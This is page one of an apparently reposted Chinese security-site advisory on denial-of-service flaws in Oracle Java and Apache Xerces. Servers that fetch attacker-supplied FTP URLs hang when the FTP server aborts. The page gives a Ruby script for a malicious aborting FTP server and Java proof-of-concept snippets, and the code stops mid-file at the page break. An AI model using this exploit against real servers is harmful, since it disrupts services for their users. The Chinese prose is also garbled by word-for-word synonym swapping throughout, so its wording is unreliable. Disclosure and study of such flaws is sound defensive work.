欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Oracle Java及Apache Xerces PDF/Docx服务器端DDOS漏洞

来源:本站整理 作者:佚名 时间:2017-09-06 TAG: 我要投稿

一、破绽提要
Oracle Java JDK/JRE(1.8.0.131和更早版本)软件包和Apache Xerces(2.11.0版)中存在两个破绽,这两个破绽分别为:
Oracle JDK/JRE并发型回绝办事(DoS)破绽
java.net.URLConnection(未应用setConnectTimeout时)并发型回绝办事破绽
Oracle已收到相干破绽申报,并分派了一个申报跟踪编号:S0876966。今朝咱们尚未收到相干补钉或办理办法的更多信息。
二、破绽细节
当满意如下前提时,进击者能够应用这两个破绽对办事器提议回绝办事(Denial of Service, DoS)进击:
进击者能够将一个经心结构的URL参数传递给目的办事器,URL参数指向进击者节制的FTP办事器。
目的办事器应用存在破绽的组件来获得进击者指定的资本。
目的办事器能够获得应用FTP URI地点的资本。
在这两个破绽中,进击者提议的进击进程如下所示:
1、进击者迫使存在破绽的目的办事器剖析某个FTP URL地点,该地点指向进击者节制的FTP办事器。
2、目的办事器获得进击者指定的FTP资本。
3、进击者的FTP办事器忽然停止工作,招致目的办事器上的Java进程外部遗留两个线程,这两个线程处于无穷期待状况。
4、假如Java进程为单线程进程,那末该进程就无奈进一步处置其余客户端的哀求,只能接受来自进击者的一个哀求,满意回绝办事前提。
5、假如Java进程为多线程进程,那末进击者能够应用异样的技巧,向每一个可用的进程收回一个哀求,耗尽所有可用的线程,以满意回绝办事前提。
为了满意进击前提,当Java客户端行将履行RETR FTP敕令时,进击者节制的FTP办事器必要“忽然”加入。办事端无奈正确处置这类环境,是以会呈现线程并发型回绝办事征象。
好比:
require 'socket'
ftp_server = TCPServer.new 21
Thread.start do
loop do
 Thread.start(ftp_server.accept) do |ftp_client|
    puts "FTP. New client connected"
    ftp_client.puts("220 ftp-server")
    counter = 0
    loop {
        req = ftp_client.gets()
        break if req.nil?
        puts "
        if req.include? "USER"
            ftp_client.puts("331 password")
        else
            ftp_client.puts("230 Waiting data")
            counter = counter + 1
            if counter == 6
                abort
            end
        end
    }
    puts "Aborted..."
 end
end
end
loop do
sleep(50000)
end

当破绽前提满意时,DoS会招致目的办事器与FTP办事器(192.168.234.134)之间的衔接处于CLOSE_WAIT状况,使办事端的Java线程处于卡顿状况。

三、Oracle JDK/JRE并发型回绝办事破绽
存在破绽的函数为:
java.io.InputStream
java.xml.ws.Service
javax.xml.validation.Schema
javax.xml.JAXBContext
java.net.JarURLConnection(未应用setConnectionTimeout和setReadTimeout函数时)
javax.imageio.ImageIO
Javax.swing.ImageIcon
javax.swing.text.html.StyleSheet
3.1 java.io.InputStream PoC代码
import java.io.InputStream;
import java.net.URL;
public class RandomAccess {
 public static void main(String[] args) {
  try {
   //url = new URL ("ftp://maliciousftp:2121/test.xml");
   URL url = new URL("ftp://maliciousftp:2121/test.xml");
   InputStream inputStream = url.openStream();
   inputStream.read();
   //urlc.setReadTimeout(5000);
   //urlc.setConnectTimeout(5000); //
  } catch (Exception e) {
   e.printStackTrace();
  }
 }
}
3.2 javax.xml.ws.Service PoC代码
import java.net.MalformedURLException;
import java.net.URL;
import javax.xml.namespace.QName;
import javax.xml.ws.Service;
public class CreateService {
 public static void main(String[] args) {
  String wsdlURL = "ftp://maliciousftp:2121/test?wsdl";
  String namespace = "http://foo.bar.com/webservice";
  String serviceName = "SomeService";
  QName serviceQN = new QName(namespace, serviceName);
  try {
   Service service = Service.create(new URL(wsdlURL), serviceQN);

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载